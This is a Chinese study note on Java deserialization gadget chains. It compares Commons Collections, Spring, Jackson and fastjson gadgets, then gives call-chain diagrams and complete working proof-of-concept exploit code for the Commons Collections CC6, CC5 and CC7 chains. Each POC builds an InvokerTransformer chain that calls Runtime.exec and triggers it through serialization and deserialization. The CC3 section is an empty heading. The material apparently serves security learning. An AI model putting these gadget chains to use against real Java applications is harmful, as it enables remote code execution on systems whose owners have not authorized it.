Skip to content

收获

Gadget 库对比笔记

对比维度:入口方法、入口类、数据格式、类型信息、多态开启、对象创建、私有字段填充、危险方法触发、核心利用类、依赖库、利用条件、JDK限制、利用难度、通用性

对比维度 Commons Collections Spring Core Jackson fastjson
入口方法 readObject() @RequestBody+DataBinder readValue()
入口类 ObjectInputStream RequestResponseBodyMethodProcessor ObjectMapper
数据格式 二进制序列化数据流 JSON JSON
类型信息 在数据流中 @class字段 @class字段
多态开启 原生支持 Spring Boot 1.x自动开启 enableDefaultTyping()手动设置
对象创建 反序列化机制创建 无参构造器+BeanWrapper 无参构造器+反射
私有字段填充 反序列化机制填充 BeanWrapper+反射 反射
危险方法触发 InvokerTransformer.transform() getOutputProperties() getOutputProperties()
核心利用类 InvokerTransformer,ChainedTransformer,LazyMap TemplatesImpl TemplatesImpl
依赖库 Commons-Collections3.1/4.0 spring-web、spring-beans、jackson-databind jackson-databind
利用条件 无其他要求 Spring Boot1.x+@RequestBody Object enableDefaultTyping()
JDK限制 CC1要求jdk版本小于8u71,cc6无要求 jdk8+含有TemplatesImpl类 jdk8+含有TemplatesImpl类
利用难度
通用性 低(特定框架) 中(特定配置)

各维度说明

维度 说明
入口方法 反序列化时自动调用的方法(通常为 readObject)
入口类 在反序列化时被触发、启动整个调用链的类
数据格式 序列化数据的组织方式(字节流/JSON/XML等)
类型信息 序列化格式中是否包含完整的类类型信息
多态开启 是否支持多态反序列化(@type / enableDefaultTyping
对象创建 反序列化时对象的创建方式(构造器/Unsafe/反序列化专有机制)
私有字段填充 反序列化时能否绕过构造器直接填充私有字段
危险方法触发 最终触发命令执行/反射调用的关键方法
核心利用类 Gadget链中起关键作用的类
依赖库 利用链依赖的第三方库及版本范围
利用条件 成功利用需要满足的条件
JDK限制 不同JDK版本对利用链的影响
利用难度 构造POC的复杂度、对环境的依赖程度
通用性 该Gadget库在不同Java应用中的普及程度

CC6链调用链路图

HashMap.readObject()
|
HashMap.hash()
|
HashMap.hashCode()
    |
    TiedMapEntry.hashCode()
    |
    TiedMapEntry.getValue()
        |
        LazyMap.get()
            |
            ChainedTransformer.transform()
                |
                ConstantTransformer.transform()  -->输出Runtime.class
                |
                InvokerTransformer.transform()  -->输出Method对象getRuntime
                |
                InvokerTransformer.transform()  -->输出Runtime实例
                |
                InvokerTransformer.transform()  -->执行命令

CC6完整POC

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;

public class CC6_Problem_Version {
    public static void main(String[] args) throws Exception {
    ConstantTransformer ct=new ConstantTransformer(Runtime.class);
    InvokerTransformer i1=new InvokerTransformer("getMethod",
            new Class[]{String.class,Class[].class},
            new Object[]{"getRuntime",new Class[0]}
    );
    InvokerTransformer i2=new InvokerTransformer("invoke",
            new Class[]{Object.class,Object[].class},
            new Object[]{null,new Object[0]}
    );
    InvokerTransformer i3=new InvokerTransformer("exec", 
            new Class[]{String.class},
            new Object[]{"calc"}
        );
        Transformer[] ts=new Transformer[]{ct,i1,i2,i3};
        ChainedTransformer chain=new ChainedTransformer(ts);


        HashMap map=new HashMap();
        Map lazyMap=LazyMap.decorate(map, new ConstantTransformer(1));

        TiedMapEntry entry=new TiedMapEntry(lazyMap, "key");

        HashMap entrymap=new HashMap();
        entrymap.put(entry, "value");

        lazyMap.remove("key");


        Field f=lazyMap.getClass().getDeclaredField("factory");
            f.setAccessible(true);
            f.set(lazyMap, chain);



        ByteArrayOutputStream baos=new ByteArrayOutputStream();
        ObjectOutputStream oos=new ObjectOutputStream(baos);
        oos.writeObject(entrymap);
        oos.flush();
        oos.close();
        byte[] data=baos.toByteArray();
        System.out.println("Serialized data length: " + data.length);

        ByteArrayInputStream bais=new ByteArrayInputStream(data);
        ObjectInputStream ois=new ObjectInputStream(bais);
            ois.readObject();
            ois.close();
        System.out.println("Deserialization completed.");
    }
}

CC5调用链

BadAttributeValueExpException.readObject()
|
val.toString()
    |
    TiedMapEntry.toString()
    |
    TiedMapEntry.getValue()
        |
        LazyMap.get()
            |
            ChainedTransformer.transform()
                |
                ConstantTransformer.transform()  -->输出Runtime.class
                |
                InvokerTransformer.transform()  -->输出Method对象getRuntime
                |
                InvokerTransformer.transform()  -->输出Runtime实例
                |
                InvokerTransformer.transform()  -->执行命令 

CC5完整POC

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;                       
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;

public class CC5POC {
    public static void main(String[] args) throws Exception {
    ConstantTransformer ct =new ConstantTransformer(Runtime.class);
    InvokerTransformer i1=new InvokerTransformer("getMethod",
    new Class[]{String.class,Class[].class},
    new Object[]{"getRuntime",new Class[0]});
    InvokerTransformer i2=new InvokerTransformer("invoke",
    new Class[]{Object.class,Object[].class},
    new Object[]{null,new Object[0]});
    InvokerTransformer i3=new InvokerTransformer("exec", 
            new Class[]{String.class},
            new Object[]{"calc"}
    );
    Transformer[] transformers = new Transformer[]{ct,i1,i2,i3};
    ChainedTransformer chain = new ChainedTransformer(transformers);


    HashMap map = new HashMap();
    LazyMap lazyMap=(LazyMap)LazyMap.decorate(map, chain);

    TiedMapEntry entry=new TiedMapEntry(lazyMap, "key");

    BadAttributeValueExpException val=new BadAttributeValueExpException(null);

    Field v=BadAttributeValueExpException.class.getDeclaredField("val");
    v.setAccessible(true);
    v.set(val, entry);


    ByteArrayOutputStream bos = new ByteArrayOutputStream();
    ObjectOutputStream out = new ObjectOutputStream(bos);
    out.writeObject(val);
    out.flush();
    out.close();
    byte[] payload = bos.toByteArray();
    System.out.println("Payload generated successfully!");


    ByteArrayInputStream bis = new ByteArrayInputStream(payload);
    ObjectInputStream ois = new java.io.ObjectInputStream(bis); 
    ois.readObject();
    ois.close();
    System.out.println("Payload deserialized successfully!");
    }
}

CC7调用链

Hashtable.readObject()
|
Hashtable.reConsititutionPut()
    |
    LazyMap.equals()
    |
    AbstractMapDecorator.equals()
        |
        HashMap.equals()
        |
        AbstractMap.equals()
            |
            LazyMap.get()
                |
                ChainedTransformer.transform()
                    |
                    ConstantTransformer.transform()  -->输出Runtime.class
                    |
                    InvokerTransformer.transform()  -->输出Method对象getRuntime
                    |
                    InvokerTransformer.transform()  -->输出Runtime实例
                    |
                    InvokerTransformer.transform()  -->执行命令 

CC7完整POC

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7 {
    public static void main(String[] args) throws Exception {
        ConstantTransformer ct = new ConstantTransformer(Runtime.class);
        InvokerTransformer it = new InvokerTransformer("getMethod",
            new Class[]{String.class,Class[].class},
            new Object[]{"getRuntime",new Class[0]}
        );
        InvokerTransformer it2 = new InvokerTransformer(
            "invoke",
            new Class[]{Object.class,Object[].class},
            new Object[]{null,new Object[0]}
        );
        InvokerTransformer it3 = new InvokerTransformer(
            "exec",
            new Class[]{String.class},
            new Object[]{"calc"}
        );
        Transformer[] transformers = new Transformer[]{};
         ChainedTransformer ctChain = new ChainedTransformer(transformers);


         HashMap map1 = new HashMap();
         HashMap map2 = new HashMap();
         map1.put("yy", 1);
         map2.put("zZ", 1);


            Map m1 = LazyMap.decorate(map1, ctChain);
            Map m2 = LazyMap.decorate(map2, ctChain);

            Hashtable ht = new Hashtable();
            ht.put(m1, 1);
            ht.put(m2, 1);


            ctChain= new ChainedTransformer(new Transformer[]{ct,it,it2,it3});
            Field f = LazyMap.class.getDeclaredField("factory");
            f.setAccessible(true);
            f.set(m2, ctChain);
            f.set(m1, ctChain);


            m2.remove("yy");


            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(baos);
            oos.writeObject(ht);
            oos.flush();
            byte[] bytes = baos.toByteArray();
            oos.close();
            System.out.println("Payload serialized successfully!");


            ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
            ObjectInputStream ois = new ObjectInputStream(bais);
            ois.readObject();
            ois.close();
            System.out.println("Payload executed successfully!");



    }
}

CC3调用链



CC3完整POC